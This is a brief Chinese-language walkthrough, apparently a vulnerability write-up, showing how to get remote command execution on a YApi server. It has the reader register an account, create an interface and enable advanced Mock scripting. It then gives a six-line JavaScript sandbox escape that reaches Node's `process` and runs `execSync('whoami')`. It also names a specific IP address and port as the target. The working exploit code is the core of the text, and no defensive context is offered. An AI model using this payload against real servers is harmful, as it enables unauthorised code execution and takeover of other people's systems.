利用前提为Yapi开启了注册功能,注册一个账号

http://116.28.213.96:3000
image.png

添加一个项目

image.png

进入项目内添加一个接口

image.png

点击高级Mock,并打开脚本页面,开启脚本,输入Mock脚本

  1. const sandbox = this
  2. const ObjectConstructor = this.constructor
  3. const FunctionConstructor = ObjectConstructor.constructor
  4. const myfun = FunctionConstructor('return process')
  5. const process = myfun()
  6. mockJson = process.mainModule.require("child_process").execSync("whoami").toString()

image.png

点击保存,打开预览界面。访问Mock地址即可执行命令

image.png
image.png